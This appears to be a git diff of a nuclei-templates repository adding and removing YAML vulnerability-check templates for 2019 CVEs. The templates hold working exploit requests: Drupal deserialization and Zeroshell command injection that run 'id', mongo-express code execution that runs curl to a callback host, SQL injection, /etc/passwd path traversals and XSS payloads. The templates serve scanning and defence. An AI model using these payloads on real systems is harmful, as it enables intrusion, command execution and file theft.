https://nvd.nist.gov/vuln/detail/CVE-2019-6340 - - https://www.drupal.org/sa-core-2019-003 - - http://web.archive.org/web/20210125004201/https://www.securityfocus.com/bid/107106/ - - https://www.synology.com/security/advisory/Synology_SA_19_09 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.1 - cve-id: CVE-2019-6340 - cwe-id: CWE-502 - tags: cve,cve2019,drupal,rce,kev -requests: - - method: POST - path: - - '{{BaseURL}}/node/1?_format=hal_json' - body: '{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }' - matchers-condition: and - matchers: - - type: word - words: - - "uid=" - - "gid=" - - "groups=" - condition: and - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-7481.yaml b/nuclei-templates/CVE-2019/CVE-2019-7481.yaml deleted file mode 100644 index bdd6eaf8fc..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-7481.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2019-7481 - -info: - name: SonicWall SRA 4600 VPN - SQL Injection - author: _darrenmartyn - severity: high - description: The SonicWall SRA 4600 VPN appliance is susceptible to a pre-authentication SQL injection vulnerability. - reference: - - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-7481 - - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2019-0016 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-7481 - cwe-id: CWE-89 - epss-score: 0.89778 - tags: cve,cve2019,sonicwall,sqli,kev - metadata: - max-request: 1 - -http: - - raw: - - | - POST /cgi-bin/supportInstaller HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: identity - User-Agent: MSIE - Content-Type: application/x-www-form-urlencoded - - fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0-- - - matchers: - - type: word - words: - - "4220397236" - part: body - -# Enhanced by mp on 2022/04/20 diff --git a/nuclei-templates/CVE-2019/CVE-2019-7609.yaml b/nuclei-templates/CVE-2019/CVE-2019-7609.yaml deleted file mode 100644 index 3aba0a24bb..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-7609.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2019-7609 - -info: - name: Kibana Timelion - Arbitrary Code Execution - author: dwisiswant0 - severity: critical - description: Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system. - reference: - - https://github.com/mpgn/CVE-2019-7609 - - https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077 - - https://nvd.nist.gov/vuln/detail/CVE-2019-7609 - - https://www.elastic.co/community/security - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10 - cve-id: CVE-2019-7609 - cwe-id: CWE-94 - epss-score: 0.97303 - tags: cve,cve2019,kibana,rce,kev - metadata: - max-request: 1 - -http: - - method: POST - path: - - "{{BaseURL}}/api/timelion/run" - headers: - Content-Type: "application/json; charset=utf-8" - - body: '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}' - - matchers-condition: and - matchers: - - type: word - words: - - "seriesList" - part: body - - - type: word - words: - - "application/json" - part: header - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/03 diff --git a/nuclei-templates/CVE-2019/CVE-2019-8982.yaml b/nuclei-templates/CVE-2019/CVE-2019-8982.yaml new file mode 100644 index 0000000000..abd568261b --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-8982.yaml @@ -0,0 +1,33 @@ +id: CVE-2019-8982 + +info: + name: Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery + author: madrobot + severity: critical + description: "WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent&inUrl= value in com/wavemaker/studio/StudioService.java, leading to disclosure of local files and server-side request forgery." + reference: + - https://www.exploit-db.com/exploits/45158 + - https://nvd.nist.gov/vuln/detail/CVE-2019-8982 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H + cvss-score: 9.6 + cve-id: CVE-2019-8982 + cwe-id: CWE-918 + tags: cve,cve2019,wavemaker,lfi,ssrf + +requests: + - method: GET + path: + - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body + + +# Enhanced by mp on 2022/05/03 diff --git a/nuclei-templates/CVE-2019/CVE-2019-9041.yaml b/nuclei-templates/CVE-2019/CVE-2019-9041.yaml deleted file mode 100644 index f3628f2967..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-9041.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2019-9041 - -info: - name: ZZZCMS 1.6.1 - Remote Code Execution - author: pikpikcu - severity: high - description: ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring. - reference: - - https://www.exploit-db.com/exploits/46454/ - - http://www.iwantacve.cn/index.php/archives/118/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-9041 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2019-9041 - cwe-id: CWE-917 - tags: cve,cve2019,zzzcms,rce,edb - metadata: - max-request: 1 - -http: - - method: POST - path: - - "{{BaseURL}}/search/" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if} - - matchers-condition: and - matchers: - - type: word - words: - - "phpinfo" - - "PHP Version" - part: body - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/08 diff --git a/nuclei-templates/CVE-2019/CVE-2019-9618.yaml b/nuclei-templates/CVE-2019/CVE-2019-9618.yaml deleted file mode 100644 index 13941e37a1..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-9618.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2019-9618 -info: - name: WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion (LFI) - author: daffainfo - severity: critical - description: The GraceMedia Media Player plugin 1.0 for WordPress allows Local File Inclusion via the cfg parameter. - reference: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618 - - https://seclists.org/fulldisclosure/2019/Mar/26 - - https://www.exploit-db.com/exploits/46537 - - https://nvd.nist.gov/vuln/detail/CVE-2019-9618 - tags: cve,cve2019,wordpress,wp-plugin,lfi - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2019-9618 - cwe-id: CWE-22 -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - - 500 diff --git a/nuclei-templates/CVE-2019/CVE-2019-9922.yaml b/nuclei-templates/CVE-2019/CVE-2019-9922.yaml new file mode 100644 index 0000000000..c8af51903f --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-9922.yaml @@ -0,0 +1,28 @@ +id: CVE-2019-9922 +info: + name: JE Messenger 1.2.2 Joomla - Directory Traversal + author: 0x_Akoko + severity: high + description: An issue was discovered in the Harmis JE Messenger component 1.2.2 for Joomla. Directory Traversal allows read access to arbitrary files. + reference: + - https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md + - https://www.cvedetails.com/cve/CVE-2019-9922 + - https://extensions.joomla.org/extension/je-messenger/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-9922 + cwe-id: CWE-22 + tags: cve,cve2019,joomla,messenger,lfi +requests: + - method: GET + path: + - "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd" + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-10068.yaml b/nuclei-templates/CVE-2019/cve-2019-10068.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-10068.yaml rename to nuclei-templates/CVE-2019/cve-2019-10068.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-1010287.yaml b/nuclei-templates/CVE-2019/cve-2019-1010287.yaml new file mode 100644 index 0000000000..02fb5c9607 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-1010287.yaml @@ -0,0 +1,38 @@ +id: CVE-2019-1010287 + +info: + name: Timesheet 1.5.3 - Cross Site Scripting + author: pikpikcu + severity: medium + description: "Timesheet Next Gen 1.5.3 and earlier is affected by: Cross Site Scripting (XSS). The impact is: Allows an attacker to execute arbitrary HTML and JavaScript code via a \"redirect\" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url." + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-1010287 + - http://www.mdh-tz.info/ # demo + tags: cve,cve2019,timesheet,xss + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-1010287 + cwe-id: CWE-79 + metadata: + google-dork: inurl:"/timesheet/login.php" + +requests: + - raw: + - | + POST /timesheet/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - '>' + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-1010290.yaml b/nuclei-templates/CVE-2019/cve-2019-1010290.yaml new file mode 100644 index 0000000000..a8967ed204 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-1010290.yaml @@ -0,0 +1,27 @@ +id: CVE-2019-1010290 + +info: + name: Babel - Open Redirection + author: 0x_Akoko + severity: medium + description: Babel Multilingual site Babel All is affected by Open Redirection The impact is Redirection to any URL, which is supplied to redirect in a newurl parameter. The component is redirect The attack vector is The victim must open a link created by an attacker + reference: + - https://untrustednetwork.net/en/2019/02/20/open-redirection-vulnerability-in-babel/ + - https://www.cvedetails.com/cve/CVE-2019-1010290 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-1010290 + cwe-id: CWE-601 + tags: cve,cve2019,redirect,babel + +requests: + - method: GET + path: + - '{{BaseURL}}/modules/babel/redirect.php?newurl=http://example.com' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2019/cve-2019-10717.yaml b/nuclei-templates/CVE-2019/cve-2019-10717.yaml new file mode 100644 index 0000000000..a69c522e03 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-10717.yaml @@ -0,0 +1,54 @@ +id: CVE-2019-10717 + +info: + name: BlogEngine.NET 3.3.7.0 - Local File Inclusion + author: arafatansari + severity: high + description: | + BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter + impact: | + An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks. + remediation: | + Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability. + reference: + - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect + - https://github.com/rxtur/BlogEngine.NET/commits/master + - https://nvd.nist.gov/vuln/detail/CVE-2019-10717 + - http://seclists.org/fulldisclosure/2019/Jun/44 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N + cvss-score: 7.1 + cve-id: CVE-2019-10717 + cwe-id: CWE-22 + epss-score: 0.00409 + epss-percentile: 0.712 + cpe: cpe:2.3:a:dotnetblogengine:blogengine.net:3.3.7.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: dotnetblogengine + product: blogengine.net + shodan-query: http.html:"Blogengine.net" + tags: cve,cve2019,seclists,blogengine,lfi,traversal,dotnetblogengine + +http: + - method: GET + path: + - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "application/json" + + - type: regex + regex: + - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)' + + - type: status + status: + - 200 +# digest: 4a0a00473045022100e9835e960c185d264844ff6a1c0dcc4461f0848d00e894bb0681a656b4939db90220223530414a1d116e03bae637ebc7a0b6037ac08c0f2daee019cd5fc664d2e36f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-10758.yaml b/nuclei-templates/CVE-2019/cve-2019-10758.yaml new file mode 100644 index 0000000000..9ce3a78eca --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-10758.yaml @@ -0,0 +1,35 @@ +id: CVE-2019-10758 + +info: + name: mongo-express Remote Code Execution + author: princechaddha + severity: critical + description: "mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment." + reference: + - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758 + - https://nvd.nist.gov/vuln/detail/CVE-2019-10758 + remediation: Upgrade mongo-express to version 0.54.0 or higher. + metadata: + shodan-query: http.title:"Mongo Express" + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H + cvss-score: 9.90 + cve-id: CVE-2019-10758 + tags: cve,cve2019,mongo,mongo-express + +requests: + - raw: + - | + POST /checkValid HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic YWRtaW46cGFzcw== + Content-Type: application/x-www-form-urlencoded + + document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl http://{{interactsh-url}}") + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" + +# Enhanced by mp on 2022/03/29 diff --git a/nuclei-templates/CVE-2019/cve-2019-11248.yaml b/nuclei-templates/CVE-2019/cve-2019-11248.yaml new file mode 100644 index 0000000000..7d3e107c36 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-11248.yaml @@ -0,0 +1,26 @@ +id: CVE-2019-11248 + +info: + name: exposed_pprof + author: 0xceeb + severity: high + tags: cve,cve2019,debug + description: The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. The go pprof endpoint is exposed over the Kubelet's healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration. + reference: + - https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0 + - http://mmcloughlin.com/posts/your-pprof-is-showing + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L + cvss-score: 8.20 + cve-id: CVE-2019-11248 + cwe-id: CWE-862 + +requests: + - method: GET + path: + - "{{BaseURL}}/debug/pprof/" + matchers: + - type: word + words: + - "Types of profiles available:" + - "Profile Descriptions" \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-11510.yaml b/nuclei-templates/CVE-2019/cve-2019-11510.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-11510.yaml rename to nuclei-templates/CVE-2019/cve-2019-11510.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-12314.yaml b/nuclei-templates/CVE-2019/cve-2019-12314.yaml new file mode 100644 index 0000000000..6447b9ad1c --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-12314.yaml @@ -0,0 +1,31 @@ +id: CVE-2019-12314 + +info: + name: Deltek Maconomy 2.2.5 LFIl + author: madrobot + severity: critical + tags: cve,cve2019,lfi + description: Deltek Maconomy 2.2.5 is prone to local file inclusion via absolute path traversal in the WS.macx1.W_MCS/ PATH_INFO, as demonstrated by a cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS/etc/passwd URI. + reference: + http://packetstormsecurity.com/files/153079/Deltek-Maconomy-2.2.5-Local-File-Inclusion.html + https://github.com/JameelNabbo/exploits/blob/master/Maconomy%20Erp%20local%20file%20include.txt + https://github.com/ras313/CVE-2019-12314/security/advisories/GHSA-8762-rf4g-23xm + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-12314 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-12461.yaml b/nuclei-templates/CVE-2019/cve-2019-12461.yaml new file mode 100644 index 0000000000..ea015d4b9d --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-12461.yaml @@ -0,0 +1,35 @@ +id: CVE-2019-12461 + +info: + name: WebPort 1.19.1 - Reflected Cross-Site Scripting + author: pikpikcu + severity: medium + description: Web Port 1.19.1 allows XSS via the /log type parameter. + tags: cve,cve2019,xss + reference: + - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS + - https://webport.se/nedladdningar/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-12461 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - '"" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - "Please contact with administrator." - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 -# digest: 490a0046304402202bbcd24325d27b4afa9692a47676116c3e746dac9efb6781eca7200bedd46d5c02203e77b6aa27e9da81a381ac8a93047e7dfe379956ebf9a6b0196e58a7150cb1a7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-12583.yaml b/nuclei-templates/CVE-2019/cve-2019-12583.yaml new file mode 100644 index 0000000000..3f62ff75c8 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-12583.yaml @@ -0,0 +1,49 @@ +id: CVE-2019-12583 + +info: + name: Zyxel ZyWall UAG/USG - Account Creation Access + author: n-thumann,daffainfo + severity: critical + description: Zyxel UAG, USG, and ZyWall devices allows a remote attacker to generate guest accounts by directly accessing the account generator via the "Free Time" component. This can lead to unauthorized network access or DoS attacks. + impact: | + An attacker can exploit this vulnerability to create unauthorized accounts with administrative privileges. + remediation: | + Apply the latest firmware update provided by Zyxel to fix the vulnerability. + reference: + - https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml + - https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-12583 + - https://github.com/ARPSyndicate/kenzer-templates + - https://github.com/StarCrossPortal/scalpel + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 9.1 + cve-id: CVE-2019-12583 + cwe-id: CWE-425 + epss-score: 0.00481 + epss-percentile: 0.75389 + cpe: cpe:2.3:o:zyxel:uag2100_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: zyxel + product: uag2100_firmware + tags: cve,cve2019,zyxel,zywall,xss + +http: + - method: GET + path: + - "{{BaseURL}}/free_time.cgi" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "free_time_redirect.cgi?u=" + - "&smsOnly=0" + condition: and + + - type: status + status: + - 200 +# digest: 4b0a00483046022100a12874f0ef2733bc8c7f0e764fb0ca6289dcb56f72499b238b27b09caf888bb8022100db48c204ba56cf97ad35c36b148a21decd86e83cd35614cb546190faea932e61:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-12593.yaml b/nuclei-templates/CVE-2019/cve-2019-12593.yaml deleted file mode 100644 index 0fd429f06a..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-12593.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2019-12593 - -info: - name: IceWarp <=10.4.4 - Local File Inclusion - author: pikpikcu - severity: high - description: IceWarp Mail Server through 10.4.4 is prone to a local file inclusion vulnerability via webmail/calendar/minimizer/index.php?style=..%5c directory traversal. - tags: cve,cve2019,lfi,icewarp - reference: - - https://github.com/JameelNabbo/exploits/blob/master/IceWarp%20%3C%3D10.4.4%20local%20file%20include.txt - - https://nvd.nist.gov/vuln/detail/CVE-2019-12593 - - http://www.icewarp.com # vendor homepage - - https://www.icewarp.com/downloads/trial/ # software link - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2019-12593 - cwe-id: CWE-22 - metadata: - google-dork: Powered By IceWarp 10.4.4 - -requests: - - method: GET - path: - - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini' - - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "[intl]" - - "root:x:0" diff --git a/nuclei-templates/CVE-2019/cve-2019-12616.yaml b/nuclei-templates/CVE-2019/cve-2019-12616.yaml deleted file mode 100644 index 6d8e56152d..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-12616.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2019-12616 - -info: - name: phpMyAdmin CSRF - author: Mohammedsaneem,philippedelteil - description: A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) through the victim. - severity: medium - tags: cve,cve2019,phpmyadmin,csrf - reference: - - https://www.phpmyadmin.net/security/PMASA-2019-4/ - - https://www.exploit-db.com/exploits/46982 - - https://nvd.nist.gov/vuln/detail/CVE-2019-12616 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - cvss-score: 6.50 - cve-id: CVE-2019-12616 - cwe-id: CWE-352 - -requests: - - method: GET - path: - - "{{BaseURL}}/phpmyadmin/" - - matchers-condition: and - matchers: - - type: word - words: - - "phpmyadmin.net" - - "phpMyAdmin" - condition: or - - - type: regex - regex: - - 'v=[1-4]\.[0-8]\.' # Fix in 4.9.0 - - - type: status - status: - - 200 - - 401 # password protected diff --git a/nuclei-templates/CVE-2019/cve-2019-12725.yaml b/nuclei-templates/CVE-2019/cve-2019-12725.yaml deleted file mode 100644 index aa832de42b..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-12725.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2019-12725 - -info: - name: Zeroshell 3.9.0 Remote Command Execution - author: dwisiswant0 - severity: critical - description: | - This template exploits an unauthenticated command injection vulnerability - found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url. - As sudo is configured to execute /bin/tar without a password (NOPASSWD) - it is possible to run root commands using the "checkpoint" tar options. - reference: - - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt - - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py - tags: cve,cve2019,rce,zeroshell - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2019-12725 - cwe-id: CWE-78 - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)" diff --git a/nuclei-templates/CVE-2019/cve-2019-13101.yaml b/nuclei-templates/CVE-2019/cve-2019-13101.yaml deleted file mode 100644 index 747ee42f66..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-13101.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2019-13101 - -info: - author: Suman_Kar - name: D-Link DIR-600M - Authentication Bypass - description: An issue was discovered on D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices. wan.htm can be accessed directly without authentication, which can lead to disclosure of information about the WAN, and can also be leveraged by an attacker to modify the data fields of the page. - severity: critical - tags: cve,cve2019,dlink,router,iot - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-13101 - - https://github.com/d0x0/D-Link-DIR-600M - - https://www.exploit-db.com/exploits/47250 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2019-13101 - cwe-id: CWE-306 - -requests: - - raw: - - | - GET /wan.htm HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "/PPPoE/" - part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-14251.yaml b/nuclei-templates/CVE-2019/cve-2019-14251.yaml new file mode 100644 index 0000000000..6f45634cfd --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-14251.yaml @@ -0,0 +1,48 @@ +id: CVE-2019-14251 + +info: + name: T24 Web Server - Local File Inclusion + author: 0x_Akoko + severity: high + description: T24 web server is vulnerable to unauthenticated local file inclusion that permits an attacker to exfiltrate data directly from server. + impact: | + Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the T24 Web Server. + reference: + - https://github.com/kmkz/exploit/blob/master/CVE-2019-14251-TEMENOS-T24.txt + - https://vuldb.com/?id.146815 + - https://nvd.nist.gov/vuln/detail/CVE-2019-14251 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2019-14251 + cwe-id: CWE-22 + epss-score: 0.01653 + epss-percentile: 0.87315 + cpe: cpe:2.3:a:temenos:t24:r15.01:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: temenos + product: t24 + tags: cve,cve2019,temenos,lfi,unauth + +http: + - method: GET + path: + - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=/etc/passwd" + - "{{BaseURL}}/WealthT24/GetImage?docDownloadPath=c:/windows/win.ini" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - "for 16-bit app support" + condition: or + + - type: status + status: + - 200 +# digest: 490a00463044022040c8eba803c77e52db54922bfde06450c0fb7cc3c0cc1032c3fe822599c9fffc0220233980a4f9b4b7e72fb0ef52d9a6e71da7999a0fa70e891aadb1836f35ac56c1:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-14312.yaml b/nuclei-templates/CVE-2019/cve-2019-14312.yaml deleted file mode 100644 index ba83455a64..0000000000 